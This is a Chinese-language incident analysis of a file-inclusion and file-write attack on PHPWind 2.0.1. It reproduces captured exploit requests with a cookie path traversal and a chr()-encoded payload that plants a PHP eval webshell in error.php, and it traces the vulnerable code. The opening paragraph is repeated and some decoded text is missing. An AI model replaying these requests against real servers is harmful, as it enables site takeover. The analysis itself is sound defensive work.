在程序运行时，我抓了一个包： GET /phpwind/job.php?previewjob=preview&D_name=./attachment/set.php&tidwt= (chr(46).chr(47).chr(101).chr(114).chr(114).chr(111).chr(114).chr(46).chr(112).chr(104).chr(112),w), chr(60).chr(63).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79). chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(59).chr(63).chr(62))?> HTTP/1.1 Content-Type: text/html Cookie:skinco=../../require/hidden; Host: www.5a609.com:81 Accept: text/html, */* User-Agent: Mozilla/3.0 (compatible; Indy Library) GET /phpwind//attachment/set.php HTTP/1.1 Content-Type: text/html Cookie:skinco=../../require/hidden; Host: www.5a609.com:81 Accept: text/html, */* User-Agent: Mozilla/3.0 (compatible; Indy Library) Chr()里的那些东西我查了一下ascii字符表，得到的是这样的： ?> 很显然是在error.php里写入一行php木马： 。 所以关键是： GET /phpwind/job.php?previewjob=preview&D_name=./attachment/set.php&tidwt=中$D_name和$tidwt的出处。这两个东西很重要！于是我下了一个phpwind...
在程序运行时，我抓了一个包： GET /phpwind/job.php?previewjob=preview&D_name=./attachment/set.php&tidwt= (chr(46).chr(47).chr(101).chr(114).chr(114).chr(111).chr(114).chr(46).chr(112).chr(104).chr(112),w), chr(60).chr(63).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79). chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(59).chr(63).chr(62))?> HTTP/1.1 Content-Type: text/html Cookie:skinco=../../require/hidden; Host: www.5a609.com:81 Accept: text/html, */* User-Agent: Mozilla/3.0 (compatible; Indy Library) GET /phpwind//attachment/set.php HTTP/1.1 Content-Type: text/html Cookie:skinco=../../require/hidden; Host: www.5a609.com:81 Accept: text/html, */* User-Agent: Mozilla/3.0 (compatible; Indy Library) Chr()里的那些东西我查了一下ascii字符表，得到的是这样的： ?> 很显然是在error.php里写入一行php木马： 。 所以关键是： GET /phpwind/job.php?previewjob=preview&D_name=./attachment/set.php&tidwt=中$D_name和$tidwt的出处。这两个东西很重要！于是我下了一个phpwind 2.0.1的程序看看，开始以为是job.php有问题。进入job.php中，只发现如下代码： elseif($previewjob==\'preview\'){ require_once(R_P.\'require/bbscode.php\'); require_once(R_P.\'header.php\'); if (empty($skin)) $skin=$db_defaultstyle; if (file_exists(R_P.\"data/style/$skin.php\")){ include_once(\"data/style/$skin.php\"); } 好，在失望的同时也发现了$skin一定有问题，job.php文件头有个：require_once(\"./global.php\"); 接着我们来看看global.php里面的$skin参数吧： if ($db_refreshtime!=0){ if(\'C:\'.$REQUEST_URI==$lastpath && $onbbstime<$db_refreshtime){ !$_COOKIE[\'winduid\'] && $groupid=\'guest\'; $skin=$skinco ? $skinco : $db_defaultstyle; Showmsg(\"refresh_limit\"); } 哦，只要我们定义了$skinco就可以满足$skin了！所以再找找$skinco吧，$skinco只有一处解释，其后，并没有做任何过滤： if($skinco && file_exists(R_P.\"data/style/$skinco.php\")){ Cookie(\'skinco\',$skinco); 哈哈，好轻松，只要存在就可以？这样只要构造一个cookie就完全可以实现。咦？$skinco我们好象哪里见过。果然，就是上面抓的包里面的： Cookie:skinco=../../require/hidden; 这样就更加证明我的思路是正确的，风回路转呀。又不得不佩服这样精彩的手法，按照pinkeyes的思路：构造后应该是这样的： data/style/../../require/hidden.php 也就是./require/hidden.php。 这样也就是满足了job.php中的 if (file_exists(R_P.\"data/style/$skin.php\")){ include_once(\"data/style/$skin.php\"); 到这里，先告一段落，我们回个头想想。我们分析这么多就是pinkeyes要为了包含一个文件：./require/hidden.php。这就奇怪了，为什么这么pinkeyes要千方百计的来包含 ./require/hidden.php呢？直接利用不可以吗？这个hidden.php到底是个什么样的文件呢？恩，下面的解释会让你有一个满意的答案。 我小心翼翼的打开hidden.php !function_exists(\'readover\') && exit(\'Forbidden\'); $newonline=\"<>\\t$timestamp\\t$onlineip\\t$fidwt\\t$tidwt\\t$groupid\\t$wherebbsyou\\t$acttime\\t$uid\\t$windid\\t\"; $newonline=str_pad($newonline,$db_olsize).\"\\n\"; $onlineuser=readover(R_P.$D_name); if($offset=strpos($onlineuser,\"\\t\".$windid.\"\\t\")){ $inselectfile=\'N\'; $offset=strpos($onlineuser,\"\\n\",$offset-$db_olsize);$offset+=1;/*会员名不在开始需要转换指针*/ writeinline(R_P.$D_name,$newonline,$offset); }elseif($offset=strpos($onlineuser,str_pad(\' \',$db_olsize).\"\\n\")){ writeinline(R_P.$D_name,$newonline,$offset); }else{ writeover(R_P.$D_name,$newonline,\"ab\"); } ?> 看到这里，所有的疑团都解开了！ 1．原来文件头多了个 !function_exists(\'readover\') && exit(\'Forbidden\'); 这样直接访问是不允许的，后面的代码也不会执行，这样我明白pinkeyes的苦心多走弯路来努力用include来包含这个文件 2 这个文件里有writeline()是可以写入木马的。$newonline正好也定义了$tidwt，所以最后的writeline()把$tidwt也写进去了。 写入到了d_name 所定义的set.php这个临时文件里。本来这样就可以写入一个小木马了，只要使$tidwt为编码：就可以的。但是可能是pinkeyes考虑到set.php里的东西比较乱。所以煞费苦心的用 ?> 写入一个更简单的木马到error.php里！这样才多了我们抓的第二个包： GET /phpwind//attachment/set.php HTTP/1.1 PHPWIND 2.0.1 下载官方提供最新补丁或版本,http://www.phpwind.net
